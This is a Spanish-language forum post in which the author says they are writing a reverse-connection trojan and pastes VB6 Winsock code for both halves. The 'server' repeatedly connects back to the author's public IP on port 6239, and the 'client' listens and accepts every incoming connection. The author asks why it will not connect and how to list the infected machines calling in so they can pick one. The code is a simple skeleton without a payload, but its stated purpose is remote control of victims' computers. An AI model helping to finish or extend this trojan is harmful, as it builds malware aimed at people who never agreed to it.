Estoy haciendo un troyano de conexion inversa, y ni se me conecta!!, por eso subo el code
que es muy sencillito para que me ayudeis y de paso aprobecho para preguntar como hago para
que mi client me ponga en listbox cuales de mis servers intentan conectar conmigo, para, de
este modo, elegir a cual me conecto...
Bueno, no parece muy dificil, no??
Gracias por vuestra ayuda!!
*SERVIDOR:
Código:
Public Sub Reconnect()
On Error GoTo Error
If Not WS.State = 7 Then
WS.CloseSck
WS.Connect Text1.Text, 6239 'en text1 pongo la ip publica del client
End If
Error:
End Sub
''''''''''''''''''''''''''''''''''
Private Sub connect_Click()
On Error Resume Next
WS.Connect Text1.Text, 6239
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error GoTo Error
If Not WS.State = 7 Then
Call Reconnect
End If
If WS.State = 7 Then
Label3.Caption = "conectado"
Else
Label3.Caption = "desconectado"
End If
Error:
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
WS.GetData datos
If datos = "prueba" Then
MsgBox "funciona!!"
End If
Error:
MsgBox "error en transmisión de datos"
End Sub
*CLIENTE:
Private Sub Escuchar_Click()
On Error Resume Next
WS.LocalPort = Text1.Text 'el puerto es 6239 al igual que el server
WS.CloseSck
WS.Listen
If WS.State = 2 Then
Label1.Caption = "Escuchando..."
End If
End Sub
Private Sub Send_Click()
WS.SendData Text2.Text 'envio datos
End Sub
Private Sub Exit_Click()
End
End Sub
Private Sub Timer1_Timer()'cada 2 seg
On Error GoTo Error
If WS.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
If Label1.Caption = "Desconectado" Then
WS.CloseSck
WS.Listen
End If
Error:
End Sub
Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error GoTo Error
WS.CloseSck
WS.Accept requestID 'acepto toda conexion entrante
Label3.Caption = WS.RemoteHostIP 'me indica a que ip estoy conectado
Timer1.Enabled = True
Error:
End Sub